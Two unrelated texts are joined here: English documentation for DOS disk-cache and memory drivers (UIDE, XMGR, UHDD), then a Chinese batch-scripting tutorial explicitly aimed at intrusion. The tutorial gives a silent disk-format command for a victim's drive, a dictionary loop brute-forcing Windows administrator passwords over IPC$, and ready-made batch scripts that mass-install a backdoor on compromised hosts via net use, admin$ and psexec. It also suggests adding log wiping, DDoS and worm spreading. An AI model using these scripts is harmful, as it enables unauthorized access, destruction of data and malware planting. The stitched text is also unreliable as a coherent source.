DVD handling by the driver N2 will dismiss all CD DVD routines and save 1744 bytes N3 Requests no XMS memory N3 sets UIDE"s B "basic" driver N3 requires loading in low memory or UIDE aborts N3 can LOSE much speed as misaligned or other I O not suited to UltraDMA requires "calling the BIOS" for disks or using "PIO mode" for CD DVD drives N4 See Z below Q Awaits a "data request" before doing UltraDMA disk transfers Q is for "old" systems and may be used only if the driver loads O K but seems unable to transfer data Q must be OMITTED with SATA to IDE adapters from Sabrent and others since they may not emulate "data request" from SATA disks Q does not affect CD DVD drives R15 Sets the driver"s XMS memory at 16 or 64 MB R15 reserves R63 15 MB of XMS and R63 reserves 63 MB of XMS for DOS game programs that require XMS memory below 16 or 64 MB The drivers must be able to reserve this memory reserve their own XMS above that and "free" the 15 63 MB XMS If not the drivers display "XMS init error" and abort R15 or R63 need the drivers to load after the XMS manager XMGR HIMEMX etc so another driver cannot take any XMS first and the reserved XMS is just beyond the HMA See section 7 below for further details Snn Specifies the desired "Common" cache size in megabytes of XMS memory UIDE"s "Common" cache holds data for hard disks diskettes and CD DVD drives when C above is not given Values for S can be 5 15 25 40 50 or any number from 80 to 4093 S1024 and up sets a 1 to 4 GIGABYTE cache Suggested S values are Below 128 MB memory: Use S5 S15 S25 or S40 With 128 MB memory: Use S25 S40 S50 or S80 With 256 MB memory: Use S80 up to S127 With 512 MB memory: Use S160 up to S255 With 1 GB memory: Use S320 up to S511 With 2 GB memory: Use S640 up to S1023 With 4 GB memory: Use S1280 up to S3072 Small systems may prefer S25 or S50 which set 1600 cache blocks and are more efficient If S is omitted invalid an 80 MB cache is set Except for 25 or 50 values below 80 are cut to 40 15 or 5 MB The drivers display "XMS init error" and abort when not enough XMS memory is free If so a smaller cache must be requested For older V2 0 XMS managers ROM DOS etc only S5 to S50 may be used UX Disables all CD DVD UltraDMA even for drives that can do it "PIO mode" then handles all CD DVD I O Except for a few unusual drives by Sony etc which do not follow all ATAPI "rules" UX is rarely needed UX does not affect hard disks Xnn Sets a separate "User 1" cache for user drivers Values for nn are the same as for S above If X is omitted data for requests addressed to the "User 1" cache shall go into UIDE"s "Common" cache Ynn Sets a separate "User 2" cache for user drivers Values for nn are the same as for S above If Y is omitted data for requests addressed to the "User 2" cache shall go into UIDE"s "Common" cache Z For XMGR UIDE UHDD limits XMS moves to 2K byte sections not 64K when in protected mode Z is unneeded for JEMM386 JEMMEX MS DOS EMM386 or real mode UMBPCI If other EMM VCPI or DPMI drivers are used systems must be tested to see if Z is required BAD schemes that allow not enough interrupts during XMS moves can still be in use UIDE"s old N4 switch works the same and can still be used The "stand alone" UHDD ignores N4 or Z and will call the XMS manager to do its XMS moves UHDD usually needs only a H switch to load in HMA space also C S X or Y switches to specify cache sizes A summary of all UHDD switches is as follows: A Sets ALTERNATE addressing for "Legacy" IDE controllers same as UIDE A above Rarely necessary B Requests a 1408 byte "stand alone" driver no caching same as UIDE B above Cnn Sets a "CD DVD" cache size for UDVD2 use same values as for UIDE S above If C is omitted or invalid CD DVD data will go in UHDD"s "Common" cache E Makes the driver "call the BIOS" for hard disk I O requests same as UIDE E above E dismisses UltraDMA disk logic and saves 496 bytes H Loads all but 832 bytes of the driver 640 with B into HMA space See the note for UIDE H above Q Awaits "data request" before beginning UltraDMA I O with old controllers same as UIDE Q above Rarely necessary R15 Reserves 15 MB or 63 MB of XMS for old DOS "game" programs R63 same as UIDE R above Rarely necessary Snn Sets a "Common" cache size same values as UIDE S above Xnn Sets the "User 1" cache size same values for UIDE S above If X is omitted invalid "User 1" data will go in UHDD"s "Common" cache Ynn Sets the "User 2" cache size same values for UIDE S above If Y is omitted invalid "User 2" data will go in UHDD"s "Common" cache Z See Z above UDVD2 normally needs only a H switch to use HMA space and a D: switch to specify a driver "device name" A summary of all UDVD2 switches is as follows: A Sets ALTERNATE addressing for "Legacy" IDE controllers same as UIDE A above Rarely necessary D: Sets a "device name" used by the CD DVD Redirector to access CD DVD drives same as UIDE D: above H Puts all but 144 bytes of the driver in HMA space See the note for UIDE H above Rnn Reserves 15 MB or 63 MB of XMS for old DOS "game" programs same as UIDE R above Rarely necessary UX Disables CD DVD UltraDMA same as UIDE UX above Rarely necessary For all switches in each driver a dash may replace the slash and lower case letters may be used if desired 5 Setup and Configuration XMGR RDISK and UIDE are all loaded using the CONFIG SYS file Your CONFIG SYS should have command lines similar to the following examples: DEVICE C: DOSDVRS XMGR SYS N128 B DEVICEHIGH C: DRIVERS RDISK COM S500 DEVICEHIGH C: SYSTEM UIDE SYS D:TOSHIBA1 S511 H DEVICEHIGH C: USERDVRS UHDD SYS S500 C80 H DEVICEHIGH C: MYDVRS UDVD2 SYS D:BLURAY1 H Note that "Int 13h" BIOS drivers must be loaded first so UIDE UHDD can intercept and cache their DOS Int 13h calls Also note that any user drivers that call UIDE to do caching must be loaded after UIDE so they will "find" UIDE in memory and can "link" to it This also applies if UHDD followed by UDVD2 are used in place of UIDE See the CONFIG SYS examples below With V3 70+ UMBPCI and XMGR a "boot" procedure is not needed UMBPCI loads first to enable upper memory then XMGR loads to offer it and XMS to DOS then other drivers may load For V6 22 V7 10 MS DOS JEMM386 can also be loaded to offer extra upper memory in the "video graphics" areas or if other JEMM386 features are desired NOTE: FreeDOS and some other DOS variants will NOT "add up" the memory found by both UMBPCI and JEMM386 like MS DOS does FreeDOS users who want extra upper memory or other items must omit UMBPCI and load JEMMEX or HIMEMX JEMM386 per their instructions or load XMGR JEMM386 as shown in the 3rd example below An example CONFIG SYS file using V3 70+ UMBPCI and XMGR is as follows: SHELL C: DOS COMMAND COM C: DOS E:512 P DEVICE C: BIN UMBPCI SYS DEVICE C: BIN XMGR SYS W DOS HIGH UMB DEVICE C: BIN JEMM386 EXE I B000 B7FF X C800 EFFF NOEMS ;Optional Int 13h drivers cached by UIDE load now DEVICEHIGH C: BIN UIDE SYS D:CDROM1 S511 C250 H ;Or UHDD plus ; UDVD2 here User drivers that call UIDE load now DEVICEHIGH C: BIN RDISK COM S250 ;Optional Etc XMGR can be used "stand alone" on a small XMS only system It must be the first DOS system driver to load and it must load in LOW memory as in the following example: SHELL C: DOS COMMAND COM C: DOS E:512 P DEVICE C: BIN XMGR SYS DOS HIGH Int 13h drivers cached by UHDD load now DEVICE C: BIN UHDD SYS S80 C15 ;Or UIDE in place DEVICE C: BIN UDVD2 SYS ; of UHDD + UDVD2 User drivers that call UHDD load now DEVICE C: BIN RDISK COM S20 ;Optional Etc With JEMM386 and XMGR XMGR loads first in "boot" mode then JEMM386 and then XMGR finally loads in upper memory JEMMEX can also be used and if so XMGR can be omitted An example CONFIG SYS file which uses the XMGR "boot" procedure is shown below Note that in this example UIDE sets a 2 GIGABYTE disk cache plus a 700 Megabyte CD DVD cache SHELL C: DOS COMMAND COM C: DOS E:512 P DEVICE C: BIN XMGR SYS B ; B for "boot" DOS HIGH UMB DEVICE C: DOS JEMM386 EXE I B000 B7FF NOEMS ;Or JEMMEX here DEVICEHIGH C: BIN XMGR SYS ;No "boot" here Int 13h drivers cached by UIDE load now DEVICEHIGH C: BIN UIDE SYS D:MYDVD S2047 C700 H ;Or UHDD plus ; UDVD2 here User drivers that call UIDE load now DEVICEHIGH C: BIN RDISK COM S500 ;Optional Etc After the above drivers are loaded further CONFIG SYS drivers SETVER ANSI SYS etc can then load in any desired order When a specific RDISK drive letter is required RDISK can now be loaded by AUTOEXEC BAT and its : switch can specify any "free" drive letter e g :Q assigns drive Q: for RDISK files Whenever RDISK is used AUTOEXEC BAT should also include commands which copy all RDISK programs and data up to the RAM disk This is required each time DOS loads as XMS memory is LOST when a system shuts down Such copies usually take little time If RDISK and UIDE UHDD are used users must balance how much XMS memory the drivers use RDISK must take no more XMS than its files may need UIDE UHDD can take most remaining XMS for its caches Some XMS memory must be saved for other programs needing it As an example on a 4 GB system RDISK might use 500 MB UIDE UHDD might use 3 GB and 500 MB is free for other programs These values can be adjusted so RDISK holds programs and "fast" data files while UIDE UHDD cache "ordinary" files Properly balanced use of XMS will give a VERY high speed DOS system Please be sure to set each hard disk"s geometry correctly in your BIOS Set it to "Auto" "LBA" or "LBA Assisted" but NOT to "None" "Normal" "CHS" "ECHS" "User Cylinders Heads Sectors" "Revised ECHS" or "Bit Shift" should run but are NOT preferred If a BIOS has a setting like "UltraDMA" or "UDMA Capable" for a disk enable it "Laptop" power saving items like a "drive spin down timeout" should run O K but must be TESTED before use All these drivers allow 7 seconds for a disk or CD DVD drive to spin up after being idle More DRASTIC power saving items like a "drive SHUTDOWN timeout" may require "extra" logic to restart the drive should be DISABLED or driver I O requests may time out Also be sure to use an 80 connector cable for any UltraDMA drive using "mode 3" ATA 44 44 MB sec or higher When cabling a single drive to an IDE channel note that you MUST use both "ends" of the cable NOT an "end" and the middle connector This prevents ERRORS since an unused cable end can pick up "noise" like a RADIO antenna Be sure to enable all CD DVD drive s through the BIOS set up routines A drive that is "disabled" may cause the BIOS to clear all its UltraDMA flags and force the drive into "PIO mode" zero which is terribly SLOW 6 Error Reporting XMGR and UIDE UHDD UDVD2 will return normal XMS and CD DVD error codes as needed They are listed in the "V3 0 XMS Specification" and in the Microsoft "MS DOS CD ROM Extensions 2 1" document Both are available from Microsoft or from other Internet sources UIDE and UHDD work as "BIOS drivers" and return whichever codes are set for diskettes and hard disks handled by the BIOS For their SATA and IDE hard disks UIDE UHDD can post the following error codes: Code 0Fh DMA error CCh Disk is FAULTED 20h Controller busy E0h Hard I O error AAh Disk not ready FFh XMS memory error Many DOS programs display only "Disk Error" messages with NO code thus disk errors may require running a diagnostic to get better information 7 Technical Notes In all of the following notes "UIDE" also applies to UHDD or UDVD2 as necessary The JEMMEX or JEMM386 drivers are now recommended for use with UIDE if using a DOS system that needs their extra upper memory DPMI VCPI logic etc Other EMM drivers are essentially "abandoned" some with never corrected ERRORS and they should NOT be used The "VirtualBox" emulator as of 15 Oct 2012 does not set a "change line available" bit in BIOS byte 0:48Fh for A: and B: diskettes UIDE will IGNORE diskette drives without a "change line" normally 1985 or older as they cannot declare "media changes" i e a NEW diskette was loaded Until "VirtualBox" gets corrected UIDE will NOT run A: or B: diskettes in such an environment UIDE"s R15 or R63 switches DOS "game" programs are for a real mode system using UMBPCI and XMGR Game players like real mode as it gives more speed If protected mode JEMM386 EMM386 is desired UIDE using a R switch must load prior to the "EMM" driver so the XMS reserved by UIDE is just beyond the HMA If using UMBPCI XMGR UIDE and then an EMM driver this works fine But FreeDOS users and others whose DOS systems permit only one XMS provider i e UMBPCI cannot be used must load XMGR HIMEMX first UIDE second into low memory upper memory isn"t yet enabled then JEMM386 EMM386 last Using JEMMEX with UIDE and a R switch is unrecommended JEMMEX must load first and takes some XMS itself which pushes the reserved XMS above its intended 16 64 MB area and a few DOS "games" programs may CRASH UIDE shall NOT include any huge AHCI logic and will run hard disks in "Legacy" "Compatibility" "Native IDE" mode when using AHCI controllers If a "new" AHCI BIOS has no such settings UIDE with a E switch should be able to call the BIOS and use its logic to handle AHCI disks NOTE that much "DOS driver" code is now being omitted in AHCI BIOS programs Thus UIDE should be TESTED before normal use with an AHCI mainboard Also note that CD DVD drives are not supported by an AHCI BIOS for file I O only for "boot" CDs On a system whose AHCI chips can be set for "Legacy" "Compatibility" "Native IDE" mode CD DVD drives should be run from AHCI ports using such modes On mainboards with no such settings UIDE can run CD DVD drives only on the parallel IDE port 80 pin cable or IDE capable "add on" cards from Promise etc that UIDE can "detect" using normal PCI bus logic UIDE handles only "Legacy" or "Native PCI" IDE controllers RAID only chipsets Via VT6420 etc "port multiplier" chips and ADMA chipsets are not currently supported AHCI is supported only through "Legacy" "Compatiblity" or "Native IDE" controller settings or by UIDE "calling the BIOS" as noted above To use UIDE a mainboard BIOS must set SATA and IDE controllers to some form of "IDE" mode not RAID ADMA AHCI for best speed If no "Legacy" "Compatibility" "Native IDE" BIOS setting for disk controllers is provided a Sabrent converter card or similar will let UIDE handle SATA hard disks or CD DVD drives from the parallel port IDE controller channel using full UltraDMA speeds Except if necessary for AHCI it is NOT RECOMMENDED for UIDE to run any DOS disk using only the BIOS Many BIOS programs have no DOS "Virtual DMA" logic If so when an EMM driver JEMM386 etc enables its "V86 protected mode" the BIOS can do only PIO mode transfers and LOSES much speed If needed get SATA to IDE adapters for SATA disks as above or get "Int 13h" disk drivers for SCSI or other disk models UIDE can then handle such disks at full DMA speeds XMGR loads in UMBPCI upper memory BEFORE that memory is declared to the DOS system Memory displays using UMBPCI may not list XMGR since its memory is not part of the DOS memory lists Such memory displays will begin with a block having a 00A7h offset or greater if using 80 or 128 XMS "Handles" The upper memory skipped by this offset contains XMGR The UMBPCI upper memory manager uses system "Shadow RAM" that CANNOT do DMA Newer BIOS programs may use UltraDMA to load programs into upper memory If this is UMBPCI "Shadow RAM" a CRASH will occur To stop this and handle new BIOS programs users should follow these two RULES for running UMBPCI together with XMGR and UIDE UHDD: A The loading "order" for V3 70+ UMBPCI and XMGR shown in section 5 above MUST be used This lets the XMGR "I O Catcher" intercept and process upper memory disk I O until UIDE UHDD loads and takes over disk UltraDMA Old UMBPCI versions or other UMBPCI loading schemes are NOT recommended B When CHS I O is done MS DOS V6 22 or older every disk MUST have valid CHS parameters Otherwise UIDE UHDD and the "I O Catcher" let the BIOS deal with CHS I O If BIOS UltraDMA is not disabled a similar "Shadow RAM" CRASH will occur Some "CD ROM boot" programs handle the CD DVD as a "fake" hard disk and provide incorrect EDD BIOS data for it In scanning for disks to use UIDE may display "EDD BIOS error Unit ignored " then go on searching for more UltraDMA disks Users who did NOT "boot" from CD DVD need to see which disk was passed over and why Users who DID "boot" from CD DVD where all SATA UltraDMA disks were found may IGNORE this message It is caused by an ERROR in the "CD ROM boot" program NOT by a problem with UIDE or its SATA UltraDMA disks Some BIOS programs do not "configure" a mainboard controller if no user drives are on it An unconfigured controller causes UIDE to display "BAD controller" then it goes on looking for others to use If this message is displayed users should verify that each SATA UltraDMA drive was made "active" thru the BIOS set up logic If so "BAD controller" says a chip was not set to both "Bus Master" and "I O Space" modes and the BIOS should be UPDATED ">XMGR RDISK and UIDE DOS Device Drivers 1 Description XMGR RDISK and UIDE are a group of DOS device drivers for a PC system with an 80386+ CPU and using MS DOS V5 0+ or equivalent XMGR is a DOS driver w [更多]
简明批处理教程22009年10月20日 星期二 下午 05:35 最近对于批处理技术的探讨比较热,也有不少好的批处理程序发布,但是如果没有一定的相关知识恐怕不容易看懂和理解这些批处理文件,也就更谈不上自己动手编写了,古语云:“授人以鱼,不如授人以渔。”因为网上好像并没有一个比较完整的教材,所以抽一点时间写了这片《简明批处理教程》给新手朋友们.也献给所有为实现网络的自由与共享而努力的朋友们. 批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。 一、简单批处理内部命令简介 1.Echo 命令 打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。 语法 echo [{on|off}] [message] Sample:@echo off / echo hello world 在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。 2.@ 命令 表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。 Sample:@echo off @echo Now initializing the program,please wait a minite... @format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。) 3.Goto 命令 指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。 语法:goto label(label是参数,指定所要转向的批处理程序中的行。) Sample: if {%1}=={} goto noparms if {%2}=={} goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。) @Rem check parameters if null show usage :noparms echo Usage: monitor.bat ServerIP PortNumber goto end 标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。 4.Rem 命令 注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。 Rem Message Sample:@Rem Here is the description. 5.Pause 命令 运行 Pause 命令时,将显示下面的消息: Press any key to continue . . . Sample: @echo off :begin copy a:*.* d:back echo Please put a new disk into driver A pause goto begin 在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。 6.Call 命令 从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用。 语法 call [Drive:][Path] FileName [BatchParameters] [:label [arguments] 参数 [Drive:}[Path] FileName 指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。 7.start 命令 调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。 入侵常用参数: MIN 开始时窗口最小化 SEPARATE 在分开的空间内开始 16 位 Windows 程序 HIGH 在 HIGH 优先级类别开始应用程序 REALTIME 在 REALTIME 优先级类别开始应用程序 WAIT 启动应用程序并等候它结束 parameters 这些为传送到命令/程序的参数 执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。 8.choice 命令 choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234…… 如: choice /c:dme defrag,mem,end 将显示 defrag,mem,end[D,M,E]? Sample: Sample.bat的内容如下: @echo off choice /c:dme defrag,mem,end if errorlevel 3 goto defrag(应先判断数值最高的错误码) if errorlevel 2 goto mem if errotlevel 1 goto end :defrag c:dosdefrag goto end :mem mem goto end :end echo good bye 此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。 9.If 命令 if 表示将判断是否符合规定的条件,从而决定执行不同的命令。有三种格式: 1、if "参数" == "字符串" 待执行的命令 参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号) 如if "%1"=="a" format a: if {%1}=={} goto noparms if {%2}=={} goto noparms 2、if exist 文件名 待执行的命令 如果有指定的文件,则条件成立,运行命令,否则运行下一句。 如if exist config.sys edit config.sys 3、if errorlevel / if not errorlevel 数字 待执行的命令 如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。 如if errorlevel 2 goto x2 DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。 10.for 命令 for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable for {%variable|%%variable} in (set) do command [ CommandLineOptions] %variable 指定一个单一字母可替换的参数。 (set) 指定一个或一组文件。可以使用通配符。 command 指定对每个文件执行的命令。 command-parameters 为特定命令指定参数或命令行开关。 在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable 而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I 如果命令扩展名被启用,下列额外的 FOR 命令格式会受到 支持: FOR /D %variable IN (set) DO command [command-parameters] 如果集中包含通配符,则指定与目录名匹配,而不与文件 名匹配。 FOR /R [drive:]path] %variable IN (set) DO command [command- 检查以 [drive:]path 为根的目录树,指向每个目录中的 FOR 语句。如果在 /R 后没有指定目录,则使用当前 目录。如果集仅为一个单点(.)字符,则枚举该目录树。 FOR /L %variable IN (start,step,end) DO command [command-para 该集表示以增量形式从开始到结束的一个数字序列。 因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生 序列 (5 4 3 2 1)。 FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command 或者,如果有 usebackq 选项: FOR /F ["options"] %variable IN (file-set) DO command FOR /F ["options"] %variable IN ("string") DO command FOR /F ["options"] %variable IN ('command') DO command filenameset 为一个或多个文件名。继续到 filenameset 中的 下一个文件之前,每份文件都已被打开、读取并经过处理。 处理包括读取文件,将其分成一行行的文字,然后将每行 解析成零或更多的符号。然后用已找到的符号字符串变量值 调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开 的第一个空白符号。跳过空白行。您可通过指定可选 "options" 参数替代默认解析操作。这个带引号的字符串包括一个或多个 指定不同解析选项的关键字。这些关键字为: eol=c - 指一个行注释字符的结尾(就一个) skip=n - 指在文件开始时忽略的行数。 delims=xxx - 指分隔符集。这个替换了空格和跳格键的 默认分隔符集。 tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代 的 for 本身。这会导致额外变量名称的 格式为一个范围。通过 nth 符号指定 m 符号字符串中的最后一个字符星号, 那么额外的变量将在最后一个符号解析之 分配并接受行的保留文本。 usebackq - 指定新语法已在下类情况中使用: 在作为命令执行一个后引号的字符串并且 引号字符为文字字符串命令并允许在 fi 中使用双引号扩起文件名称。 sample1: FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command 会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将 每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或 空格定界符号。请注意,这个 for 程序体的语句引用 %i 来 取得第二个符号,引用 %j 来取得第三个符号,引用 %k 来取得第三个符号后的所有剩余符号。对于带有空格的文件 名,您需要用双引号将文件名括起来。为了用这种方式来使 用双引号,您还需要使用 usebackq 选项,否则,双引号会 被理解成是用作定义某个要分析的字符串的。 %i 专门在 for 语句中得到说明,%j 和 %k 是通过 tokens= 选项专门得到说明的。您可以通过 tokens= 一行 指定最多 26 个符号,只要不试图说明一个高于字母 'z' 或 'Z' 的变量。请记住,FOR 变量是单一字母、分大小写和全局的; 同时不能有 52 个以上都在使用中。 您还可以在相邻字符串上使用 FOR /F 分析逻辑;方法是, 用单引号将括号之间的 filenameset 括起来。这样,该字符 串会被当作一个文件中的一个单一输入行。 最后,您可以用 FOR /F 命令来分析命令的输出。方法是,将 括号之间的 filenameset 变成一个反括字符串。该字符串会 被当作命令行,传递到一个子 CMD.EXE,其输出会被抓进 内存,并被当作文件分析。因此,以下例子: FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i 会枚举当前环境中的环境变量名称。 另外,FOR 变量参照的替换已被增强。您现在可以使用下列 选项语法: ~I - 删除任何引号("),扩充 %I %~fI - 将 %I 扩充到一个完全合格的路径名 %~dI - 仅将 %I 扩充到一个驱动器号 %~pI - 仅将 %I 扩充到一个路径 %~nI - 仅将 %I 扩充到一个文件名 %~xI - 仅将 %I 扩充到一个文件扩展名 %~sI - 扩充的路径只含有短名 %~aI - 将 %I 扩充到文件的文件属性 %~tI - 将 %I 扩充到文件的日期/时间 %~zI - 将 %I 扩充到文件的大小 %~$PATH:I - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个完全合格的名称。如果环境变量 未被定义,或者没有找到文件,此组合键会扩充 空字符串 可以组合修饰符来得到多重结果: %~dpI - 仅将 %I 扩充到一个驱动器号和路径 %~nxI - 仅将 %I 扩充到一个文件名和扩展名 %~fsI - 仅将 %I 扩充到一个带有短名的完整路径名 %~dp$PATH:i - 查找列在路径环境变量的目录,并将 %I 扩充 到找到的第一个驱动器号和路径。 %~ftzaI - 将 %I 扩充到类似输出线路的 DIR 在以上例子中,%I 和 PATH 可用其他有效数值代替。%~ 语法 用一个有效的 FOR 变量名终止。选取类似 %I 的大写变量名 比较易读,而且避免与不分大小写的组合键混淆。 以上是MS的官方帮助,下面我们举几个例子来具体说明一下For命令在入侵中的用途。 sample2: 利用For命令来实现对一台目标Win2k主机的暴力密码破解。 我们用net use \ipipc$ "password" /u:"administrator"来尝试这和目标主机进行连接,当成功时记下密码。 最主要的命令是一条:for /f i% in (dict.txt) do net use \ipipc$ "i%" /u:"administrator" 用i%来表示admin的密码,在dict.txt中这个取i%的值用net use 命令来连接。然后将程序运行结果传递给find命令-- for /f i%% in (dict.txt) do net use \ipipc$ "i%%" /u:"administrator"|find ":命令成功完成">>D:ok.txt ,这样就ko了。 sample3: 你有没有过手里有大量肉鸡等着你去种后门+木马呢?,当数量特别多的时候,原本很开心的一件事都会变得很郁闷:)。文章开头就谈到使用批处理文件,可以简化日常或重复性任务。那么如何实现呢?呵呵,看下去你就会明白了。 主要命令也只有一条:(在批处理文件中使用 FOR 命令时,指定变量使用 %%variable) @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k tokens的用法请参见上面的sample1,在这里它表示按顺序将victim.txt中的内容传递给door.bat中的参数%i %j %k。 而cultivate.bat无非就是用net use命令来建立IPC$连接,并copy木马+后门到victim,然后用返回码(If errorlever =)来筛选成功种植后门的主机,并echo出来,或者echo到指定的文件。 delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。 代码雏形: --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- @echo off @if "%1"=="" goto usage @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k @goto end :usage @echo run this batch in dos modle.or just double-click it. :end --------------- cut here then save as a batchfile(I call it main.bat ) --------------------------- ------------------- cut here then save as a batchfile(I call it door.bat) ----------------------------- @net use \%1ipc$ %3 /u:"%2" @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection …………OK @copy windrv32.exe\%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt @psexec \%1 c:winntsystem32windrv32.exe @psexec \%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt :failed @echo Sorry can not connected to the victim. ----------------- cut here then save as a batchfile(I call it door.bat) -------------------------------- 这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容 尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究. 二、如何在批处理文件中使用参数 批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。 sample1:fomat.bat @echo off if "%1"=="a" format a: :format @format a:/q/u/auotset @echo please insert another disk to driver A. @pause @goto fomat 这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^ sample2: 当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。 @echo off @net use \1%ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。 @if errorlevel 1 echo connection failed 怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^. 三、如何使用组合命令(Compound Command) 1.& Usage:第一条命令 & 第二条命令 [& 第三条命令...] 用这种方法可以同时执行多条命令,而不管命令是否执行成功 Sample: C:>dir z: & dir c:Ex4rch The system cannot find the path specified. Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:51 2002-05-14 23:51 2002-05-14 23:51 14 sometips.gif 2.&& Usage:第一条命令 && 第二条命令 [&& 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令; Sample: C:>dir z: && dir c:Ex4rch The system cannot find the path specified. C:>dir c:Ex4rch && dir z: Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of c:Ex4rch 2002-05-14 23:55 2002-05-14 23:55 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 2 Dir(s) 768,671,744 bytes free The system cannot find the path specified. 在做备份的时候可能会用到这种命令会比较简单,如: dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:backup 如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :) 3.|| Usage:第一条命令 || 第二条命令 [|| 第三条命令...] 用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令; Sample: C:Ex4rch>dir sometips.gif || del sometips.gif Volume in drive C has no label. Volume Serial Number is 0078-59FB Directory of C:Ex4rch 2002-05-14 23:55 14 sometips.gif 1 File(s) 14 bytes 0 Dir(s) 768,696,320 bytes free 组合命令使用的例子: sample: @copy trojan.exe \%1admin$system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt 四、管道命令的使用 1.| 命令 Usage:第一条命令 | 第二条命令 [| 第三条命令...] 将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。 sample: time /t>>D:IP.log netstat -n -p tcp|find ":3389">>D:IP.log start Explorer 看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。 2.>、>>输出重定向命令 将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。 sample1: echo hello world>c:hello.txt (stupid example?) sample2: 